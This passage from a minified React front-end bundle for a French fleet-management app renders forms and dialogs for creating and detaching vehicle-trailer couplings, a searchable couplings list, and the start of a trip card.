bg-muted&quot;,children:a.jsx(&quot;img&quot;,{src:Sr(W.photoUrl),alt:W.immatriculation,className:&quot;w-full h-full object-cover&quot;,onError:ee=&gt;{ee.target.style.display=&quot;none&quot;}})}):a.jsx(&quot;div&quot;,{className:&quot;w-full aspect-video rounded bg-muted flex items-center justify-center&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-3xl&quot;,children:&quot;🚚&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-sm&quot;,children:W.immatriculation}),(W.marque||W.modele)&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[W.marque,&quot; &quot;,W.modele]})]})]})]},W.id)})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;text-sm font-semibold&quot;,children:&quot;Remorque (optionnel)&quot;}),S?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-primary&quot;})}):a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-3 max-h-64 overflow-y-auto p-2 border rounded-lg&quot;,children:[a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;l(null),className:`relative p-3 rounded-lg border-2 transition-all text-left ${o===null?&quot;border-primary bg-primary/5&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent cursor-pointer&quot;}`,&quot;data-testid&quot;:&quot;trailer-option-none&quot;,children:[o===null&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2&quot;,children:a.jsx(na,{className:&quot;h-5 w-5 text-primary&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-full aspect-video rounded bg-muted/50 border-2 border-dashed border-muted-foreground/30 flex items-center justify-center&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-3xl opacity-50&quot;,children:&quot;🚛&quot;})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-sm&quot;,children:&quot;Aucune remorque&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Véhicule seul&quot;})]})]})]}),E.map(W=&gt;{const G=O.has(W.id),J=o===W.id,q=G,ee=W.photoUrl||tf[W.type]||tf.autre;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;!q&amp;&amp;l(W.id),disabled:q,className:`relative p-3 rounded-lg border-2 transition-all text-left ${J?&quot;border-primary bg-primary/5&quot;:q?&quot;border-muted bg-muted/50 opacity-60 cursor-not-allowed&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent cursor-pointer&quot;}`,&quot;data-testid&quot;:`trailer-option-${W.id}`,children:[J&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2&quot;,children:a.jsx(na,{className:&quot;h-5 w-5 text-primary&quot;})}),G&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs bg-orange-100 text-orange-800 border-orange-300&quot;,children:&quot;Déjà attelée&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;relative w-full aspect-video rounded overflow-hidden bg-muted&quot;,children:a.jsx(&quot;img&quot;,{src:Sr(ee),alt:W.numeroChassis,className:&quot;w-full h-full object-cover&quot;,onError:ne=&gt;{ne.target.style.display=&quot;none&quot;}})}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-mono font-semibold text-sm&quot;,children:W.numeroChassis}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mt-1&quot;,children:[a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:F$e[W.type]||W.type}),W.capacite&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[W.capacite,&quot;t&quot;]})]})]})]})]},W.id)})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;h3&quot;,{className:&quot;text-sm font-semibold&quot;,children:[&quot;Chauffeur &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),C?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-primary&quot;})}):R.length===0?a.jsx(it,{className:&quot;p-4 border-dashed&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground text-center&quot;,children:&quot;Aucun chauffeur disponible&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-3 max-h-48 overflow-y-auto p-2 border rounded-lg&quot;,children:R.map(W=&gt;{const G=c===W.id,J=$.has(W.id),q=J;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;!q&amp;&amp;d(W.id),disabled:q,className:`relative p-3 rounded-lg border-2 transition-all text-left ${G?&quot;border-primary bg-primary/5&quot;:q?&quot;border-muted bg-muted/50 opacity-60 cursor-not-allowed&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent cursor-pointer&quot;}`,children:[G&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2&quot;,children:a.jsx(na,{className:&quot;h-5 w-5 text-primary&quot;})}),J&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs bg-orange-100 text-orange-800 border-orange-300&quot;,children:&quot;Déjà assigné&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-12 h-12 rounded-full overflow-hidden border-2 border-border flex-shrink-0&quot;,children:W.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(W.photoUrl),alt:`${W.prenom} ${W.nom}`,className:&quot;w-full h-full object-cover&quot;,onError:ee=&gt;{ee.target.style.display=&quot;none&quot;}}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center bg-muted&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-xl&quot;,children:&quot;👤&quot;})})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;font-semibold text-sm truncate&quot;,children:[W.prenom,&quot; &quot;,W.nom]}),W.telephone&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground truncate&quot;,children:W.telephone})]})]})]},W.id)})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;h3&quot;,{className:&quot;text-sm font-semibold&quot;,children:[&quot;Apprentis &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground font-normal ml-2&quot;,children:&quot;(Au moins un requis)&quot;})]}),C?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center py-8&quot;,children:a.jsx(Nt,{className:&quot;h-6 w-6 animate-spin text-primary&quot;})}):T.length===0?a.jsx(it,{className:&quot;p-4 border-dashed&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground text-center&quot;,children:&quot;Aucun apprenti disponible&quot;})}):a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 sm:grid-cols-2 gap-3 max-h-48 overflow-y-auto p-2 border rounded-lg&quot;,children:T.map(W=&gt;{const G=u.includes(W.id),J=P.has(W.id),q=J;return a.jsxs(&quot;button&quot;,{type:&quot;button&quot;,onClick:()=&gt;{q||h(G?u.filter(ee=&gt;ee!==W.id):[...u,W.id])},disabled:q,className:`relative p-3 rounded-lg border-2 transition-all text-left ${G?&quot;border-primary bg-primary/5&quot;:q?&quot;border-muted bg-muted/50 opacity-60 cursor-not-allowed&quot;:&quot;border-border hover:border-primary/50 hover:bg-accent cursor-pointer&quot;}`,children:[G&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 right-2&quot;,children:a.jsx(na,{className:&quot;h-5 w-5 text-primary&quot;})}),J&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;text-xs bg-orange-100 text-orange-800 border-orange-300&quot;,children:&quot;Déjà assigné&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-12 h-12 rounded-full overflow-hidden border-2 border-border flex-shrink-0&quot;,children:W.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(W.photoUrl),alt:`${W.prenom} ${W.nom}`,className:&quot;w-full h-full object-cover&quot;,onError:ee=&gt;{ee.target.style.display=&quot;none&quot;}}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center bg-muted&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-xl&quot;,children:&quot;👤&quot;})})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;font-semibold text-sm truncate&quot;,children:[W.prenom,&quot; &quot;,W.nom]}),W.telephone&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground truncate&quot;,children:W.telephone})]})]})]},W.id)})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;h3&quot;,{className:&quot;text-sm font-semibold flex items-center gap-2&quot;,children:[a.jsx(Sl,{className:&quot;h-4 w-4 text-primary&quot;}),&quot;Date de début de l&#039;attelage&quot;]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;startDate&quot;,className:&quot;text-sm&quot;,children:[&quot;Date &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;startDate&quot;,type:&quot;date&quot;,value:p,onChange:W=&gt;A(W.target.value),required:!0,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-start-date&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;startTime&quot;,className:&quot;text-sm&quot;,children:[&quot;Heure &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;startTime&quot;,type:&quot;time&quot;,value:y,onChange:W=&gt;v(W.target.value),required:!0,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-start-time&quot;})]})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Par défaut, la date et l&#039;heure actuelles sont sélectionnées. Vous pouvez les modifier si l&#039;attelage a été créé dans le passé.&quot;})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;t(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,disabled:!i||!c||u.length===0||X,children:X?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Chargement...&quot;]}):&quot;Créer l&#039;attelage&quot;})]})]})]})})}const L$e={plateau:&quot;Plateau&quot;,citerne:&quot;Citerne&quot;,benne:&quot;Benne&quot;,frigorifique:&quot;Frigorifique&quot;,autre:&quot;Autre&quot;};function M$e({open:e,onOpenChange:t,coupling:r}){const[n,i]=I.useState(&quot;&quot;),[s,o]=I.useState(&quot;&quot;),[l,c]=I.useState(!1),d=s$e(),u=I.useMemo(()=&gt;{if(!r)return{formattedStartDate:null,formattedEndDate:null,durationDays:0};const w=r.startAt?new Date(r.startAt):null,j=r.endAt?new Date(r.endAt):null,E=new Date,S=w?Wr(w,&quot;dd MMM yyyy à HH:mm&quot;,{locale:Hr}):null,_=j?Wr(j,&quot;dd MMM yyyy à HH:mm&quot;,{locale:Hr}):null,C=w?ohe(E,w):0;return{formattedStartDate:S,formattedEndDate:_,durationDays:C}},[r?.startAt,r?.endAt]);I.useEffect(()=&gt;{e&amp;&amp;r&amp;&amp;(i(&quot;&quot;),o(&quot;&quot;),c(!1))},[e,r]);const h=()=&gt;{if(!r)return;let w;if(l&amp;&amp;n){const j=s?`${n}T${s}`:`${n}T00:00`;w=new Date(j),w&gt;new Date&amp;&amp;(w=void 0)}d.mutate({id:r.id,endAt:w},{onSuccess:()=&gt;{t(!1)}})};if(!r)return null;const p=r.vehicle,A=r.trailer,y=A?.photoUrl||(A?.type?tf[A.type]:tf.autre),v=d.isPending;return a.jsx(En,{open:e,onOpenChange:t,children:a.jsxs(yn,{className:&quot;sm:max-w-[500px]&quot;,children:[a.jsxs(Cn,{children:[a.jsxs(In,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(UD,{className:&quot;h-5 w-5 text-destructive&quot;}),&quot;Détacher l&#039;attelage&quot;]}),a.jsx(Mn,{children:&quot;Confirmez le détachement de cet attelage. Vous pouvez optionnellement spécifier une date de fin.&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;p-4 bg-muted/50 rounded-lg border&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-semibold mb-3&quot;,children:&quot;Attelage à détacher :&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row items-center gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 w-full md:w-auto min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-lg bg-background border-2 border-border&quot;,children:[p?.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(p.photoUrl),alt:`Véhicule ${p.immatriculation}`,className:&quot;w-full h-full object-cover&quot;,onError:w=&gt;{w.target.style.display=&quot;none&quot;}}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center bg-muted&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-3xl mb-1&quot;,children:&quot;🚚&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Pas de photo&quot;})]})}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;font-mono font-semibold text-xs px-2 py-0.5 bg-background/95 backdrop-blur-sm shadow-md border&quot;,children:p?.immatriculation||&quot;N/A&quot;})})]}),a.jsxs(&quot;div&quot;,{className:&quot;mt-2 text-center md:text-left&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs font-semibold truncate&quot;,children:p?.immatriculation}),(p?.marque||p?.modele)&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground truncate&quot;,children:[p?.marque,&quot; &quot;,p?.modele]})]})]}),a.jsx(&quot;div&quot;,{className:&quot;flex-shrink-0 text-2xl text-muted-foreground&quot;,children:&quot;→&quot;}),a.jsx(&quot;div&quot;,{className:&quot;flex-1 w-full md:w-auto min-w-0&quot;,children:A?a.jsxs(a.Fragment,{children:[a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-lg bg-background border-2 border-border&quot;,children:[a.jsx(&quot;img&quot;,{src:Sr(y),alt:`Remorque ${A.numeroChassis}`,className:&quot;w-full h-full object-cover&quot;,onError:w=&gt;{w.target.style.display=&quot;none&quot;}}),a.jsx(&quot;div&quot;,{className:&quot;absolute top-2 left-2 z-10&quot;,children:a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;font-mono font-semibold text-xs px-2 py-0.5 bg-background/95 backdrop-blur-sm shadow-md border&quot;,children:A.numeroChassis})})]}),a.jsxs(&quot;div&quot;,{className:&quot;mt-2 text-center md:text-left&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs font-semibold truncate&quot;,children:A.numeroChassis}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center md:justify-start gap-1 mt-1&quot;,children:[a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;text-xs&quot;,children:L$e[A.type]||A.type}),A.capacite&amp;&amp;a.jsxs(&quot;span&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[A.capacite,&quot;t&quot;]})]})]})]}):a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden rounded-lg bg-muted/50 border-2 border-dashed border-muted-foreground/30&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;w-full h-full flex flex-col items-center justify-center&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-3xl mb-1 opacity-50&quot;,children:&quot;🚛&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Aucune remorque&quot;})]})}),a.jsx(&quot;div&quot;,{className:&quot;mt-2 text-center md:text-left&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Aucune remorque&quot;})})]})})]})]}),(r.chauffeur||r.apprentis?.length&gt;0||r.chauffeurId)&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;p-4 bg-muted/30 rounded-lg border space-y-3&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;text-sm font-semibold mb-3 flex items-center gap-2&quot;,children:[a.jsx(Sm,{className:&quot;h-4 w-4 text-primary&quot;}),&quot;Équipage affecté&quot;]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[(r.chauffeur||r.chauffeurId)&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3 p-3 bg-background rounded-lg border&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-12 h-12 rounded-full overflow-hidden border-2 border-border flex-shrink-0&quot;,children:r.chauffeur?.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(r.chauffeur.photoUrl),alt:`${r.chauffeur.prenom} ${r.chauffeur.nom}`,className:&quot;w-full h-full object-cover&quot;,onError:w=&gt;{w.target.style.display=&quot;none&quot;}}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center bg-muted&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-xl&quot;,children:&quot;👤&quot;})})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-1&quot;,children:&quot;Chauffeur&quot;}),r.chauffeur?a.jsxs(a.Fragment,{children:[a.jsxs(&quot;p&quot;,{className:&quot;font-semibold text-sm truncate&quot;,children:[r.chauffeur.prenom,&quot; &quot;,r.chauffeur.nom]}),r.chauffeur.telephone&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground truncate&quot;,children:r.chauffeur.telephone})]}):a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[&quot;ID: &quot;,r.chauffeurId]})]})]}),r.apprentis&amp;&amp;r.apprentis.length&gt;0&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground font-medium&quot;,children:[&quot;Apprentis (&quot;,r.apprentis.length,&quot;)&quot;]}),a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-2&quot;,children:r.apprentis.map(w=&gt;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-3 p-3 bg-background rounded-lg border&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;w-10 h-10 rounded-full overflow-hidden border-2 border-border flex-shrink-0&quot;,children:w.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(w.photoUrl),alt:`${w.prenom} ${w.nom}`,className:&quot;w-full h-full object-cover&quot;,onError:j=&gt;{j.target.style.display=&quot;none&quot;}}):a.jsx(&quot;div&quot;,{className:&quot;w-full h-full flex items-center justify-center bg-muted&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-lg&quot;,children:&quot;👤&quot;})})}),a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;font-semibold text-sm truncate&quot;,children:[w.prenom,&quot; &quot;,w.nom]}),w.telephone&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground truncate&quot;,children:w.telephone})]})]},w.id))})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;p-4 bg-muted/30 rounded-lg border space-y-3&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;text-sm font-semibold mb-3 flex items-center gap-2&quot;,children:[a.jsx(Bl,{className:&quot;h-4 w-4 text-primary&quot;}),&quot;Informations sur la liaison&quot;]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-3 text-sm&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground flex items-center gap-1&quot;,children:[a.jsx(Sl,{className:&quot;h-3 w-3&quot;}),&quot;Date de création&quot;]}),a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:u.formattedStartDate||&quot;Non disponible&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Durée totale&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:u.durationDays===0?&quot;Moins d&#039;un jour&quot;:u.durationDays===1?&quot;1 jour&quot;:`${u.durationDays} jours`})]}),u.formattedEndDate&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;space-y-1 md:col-span-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:&quot;Date prévisionnelle de fin&quot;}),a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:u.formattedEndDate})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center space-x-2&quot;,children:[a.jsx(&quot;input&quot;,{type:&quot;checkbox&quot;,id:&quot;useCustomDate&quot;,checked:l,onChange:w=&gt;c(w.target.checked),className:&quot;h-4 w-4 rounded border-gray-300&quot;}),a.jsx(Se,{htmlFor:&quot;useCustomDate&quot;,className:&quot;text-sm font-medium cursor-pointer&quot;,children:&quot;Spécifier une date de fin (optionnel)&quot;})]}),l&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4 pl-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;endDate&quot;,className:&quot;text-sm&quot;,children:&quot;Date de fin&quot;}),a.jsx(Xe,{id:&quot;endDate&quot;,type:&quot;date&quot;,value:n,onChange:w=&gt;i(w.target.value),max:new Date().toISOString().split(&quot;T&quot;)[0],className:&quot;h-10&quot;,&quot;data-testid&quot;:&quot;input-end-date&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;endTime&quot;,className:&quot;text-sm&quot;,children:&quot;Heure de fin&quot;}),a.jsx(Xe,{id:&quot;endTime&quot;,type:&quot;time&quot;,value:s,onChange:w=&gt;o(w.target.value),className:&quot;h-10&quot;,&quot;data-testid&quot;:&quot;input-end-time&quot;})]})]}),!l&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground pl-6&quot;,children:&quot;Le détachement sera enregistré avec la date et l&#039;heure actuelles.&quot;})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;t(!1),disabled:v,className:&quot;w-full sm:w-auto&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{variant:&quot;destructive&quot;,onClick:h,disabled:v,className:&quot;w-full sm:w-auto&quot;,&quot;data-testid&quot;:&quot;button-confirm-detach&quot;,children:v?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Détachement...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(UD,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Confirmer le détachement&quot;]})})]})]})})}function U$e(){const[e,t]=I.useState(&quot;&quot;),[r,n]=I.useState(!1),[i,s]=I.useState(null),[o,l]=I.useState(!1),{data:c=[],isLoading:d}=pne(),u=a$e(),h=c.filter(y=&gt;{if(!e)return!0;const v=y.vehicle?.immatriculation.toLowerCase().includes(e.toLowerCase())||y.vehicle?.marque?.toLowerCase().includes(e.toLowerCase())||y.vehicle?.modele?.toLowerCase().includes(e.toLowerCase()),w=y.trailer?.numeroChassis.toLowerCase().includes(e.toLowerCase())||y.trailer?.type.toLowerCase().includes(e.toLowerCase());return v||w}),p=y=&gt;{u.mutate(y)},A=y=&gt;{const v=c.find(w=&gt;w.id===y);v&amp;&amp;(s(v),l(!0))};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 md:space-y-6 pb-20 md:pb-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row md:items-start md:justify-between gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-xl md:text-2xl font-semibold&quot;,&quot;data-testid&quot;:&quot;text-page-title&quot;,children:&quot;Attelages&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Gérez les attelages entre vos véhicules et vos remorques&quot;})]}),a.jsx(O$e,{open:r,onOpenChange:n,onCreate:p}),a.jsxs(ge,{&quot;data-testid&quot;:&quot;button-add-coupling&quot;,className:&quot;w-full md:w-auto&quot;,onClick:()=&gt;n(!0),children:[a.jsx(Ti,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Créer un attelage&quot;]})]}),a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;relative flex-1&quot;,children:[a.jsx(rf,{className:&quot;absolute left-3 top-1/2 -translate-y-1/2 h-4 w-4 text-muted-foreground&quot;}),a.jsx(Xe,{placeholder:&quot;Rechercher...&quot;,value:e,onChange:y=&gt;t(y.target.value),className:&quot;pl-9 h-12&quot;,&quot;data-testid&quot;:&quot;input-search&quot;})]})}),d?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:h.map(y=&gt;a.jsx(Q$e,{coupling:y,onDetach:A},y.id))}),h.length===0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;text-center py-12&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucun attelage trouvé&quot;})})]}),a.jsx(np,{onClick:()=&gt;n(!0),label:&quot;Créer un attelage&quot;}),a.jsx(M$e,{open:o,onOpenChange:l,coupling:i})]})}const z$e={planned:&quot;Planifiée&quot;,in_progress:&quot;En cours&quot;,completed:&quot;Terminée&quot;,cancelled:&quot;Annulée&quot;},eO={planned:&quot;bg-blue-100 text-blue-800 border-blue-300&quot;,in_progress:&quot;bg-yellow-100 text-yellow-800 border-yellow-300&quot;,completed:&quot;bg-green-100 text-green-800 border-green-300&quot;,cancelled:&quot;bg-red-100 text-red-800 border-red-300&quot;};function $$e({voyage:e,onClick:t,hasBreakdown:r=!1}){const n=e.vehicle,i=e.trailer,s=e.mainDriver,o=e.tripCount||0,l=e.startAt?new Date(e.startAt):null,c=e.endAt?new Date(e.endAt):null,d=l?Wr(l,&quot;dd MMM yyyy&quot;,{locale:Hr}):null,u=c?Wr(c,&quot;dd MMM yyyy&quot;,{locale:Hr}):null;return a.jsx(it,{&quot;data-testid&quot;:`card-voyage-${e.id}`,className:&quot;hover-elevate transition-all duration-200 overflow-hidden cursor-pointer&quot;,onClick:()=&gt;t?.(e.id),children:a.jsxs(Et,{className:&quot;p-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;relative w-full aspect-video overflow-hidden bg-muted border-b&quot;,children:[n?.photoUrl?a.jsx(&quot;img&quot;,{src:Sr(n.photoUrl)||void 0,alt:`Véhicule ${n.immatriculation}`,className:&quot;w-full h-full 